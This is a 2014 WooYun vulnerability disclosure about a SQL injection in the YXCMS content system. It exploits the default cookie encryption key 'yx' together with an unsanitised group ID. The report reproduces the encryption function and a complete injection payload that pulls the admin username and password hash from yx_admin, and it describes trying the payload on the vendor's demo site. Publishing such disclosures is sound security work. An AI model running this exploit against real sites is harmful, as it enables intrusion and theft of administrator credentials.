当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067790

漏洞标题:YXCMS最新版某机制处理不当导致的sql注入

相关厂商:yxcms.net

漏洞作者: roker

提交时间:2014-07-18 13:44

修复时间:2014-10-16 13:46

公开时间:2014-10-16 13:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-18: 细节已通知厂商并且等待厂商处理中
2014-07-18: 厂商已经确认,细节仅向厂商公开
2014-07-21: 细节向第三方安全合作伙伴开放
2014-09-11: 细节向核心白帽子及相关领域专家公开
2014-09-21: 细节向普通白帽子公开
2014-10-01: 细节向实习白帽子公开
2014-10-16: 细节向公众公开

简要描述:

看到yxcms在乌云上也爆过很多洞了。是否考虑下注册成为厂商呢 :)

详细说明:

Yxcms是一款高效,灵活,实用,免费的企业建站系统,基于PHP和mysql技术,让您拥有更加专业的企业建站和企业网站制作服务。。
测试的版本为 7.7号最新版。

function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
echo "\r\n".$string."\r\n";
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
echo $key_length;
$string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}

其中 用户的cookie采用上述 函数加密。
这不是dz的么。。。得不到密钥的话 是很难破解的,难而,yxcms在安装时,其密钥 会默认设置成为 ‘yx’。
看到/protected/apps/member/memberApi.php

public function powerCheck(){//参数一:返回1没有权限,返回2未登陆有权限,返回数组登陆有权限
$cookie_auth=get_cookie('auth');
if(empty($cookie_auth)) $group_id=1;//未登录组
else{
$memberinfo=explode('\t',$cookie_auth);
$auth['id']=$memberinfo[0];
$auth['groupid']=$memberinfo[1];
$auth['account']=$memberinfo[2];
$auth['nickname']=empty($memberinfo[3])?'未知':$memberinfo[3];
$auth['lastip']=$memberinfo[4];
$auth['headpic']=$memberinfo[5];
$group_id=$auth['groupid'];
}
$notallow=model('memberGroup')->find("id={$group_id}");


我们构造一个恶意的cookie

1\\t2 UNION SELECT 1,2,3 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM yx_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#\\taaaaaa\\ta\\


利用它自带的加密函数对其加密

function cp_encode($data,$key='',$expire = 0)
{
$string=serialize($data);
echo "\r\n".$string."\r\n";
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = substr(md5(microtime()), -$ckey_length);
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
echo $key_length;
$string = sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++)
{
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++)
{
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++)
{
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $keyc.str_replace('=', '', base64_encode($result));
}
echo cp_encode("1\\t2 UNION SELECT 1,2,3 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM yx_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b#\\taaaaaa\\ta\\","yx");


官网测试下吧~
访问http://demo.yxcms.net/index.php?r=member/index/
cookie修改为我们刚才echo的值。

1.jpg

漏洞证明:

1.jpg

修复方案:

安装时 随机生成key

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-07-18 16:45

厂商回复:

不错 注意了细节

最新状态:

暂无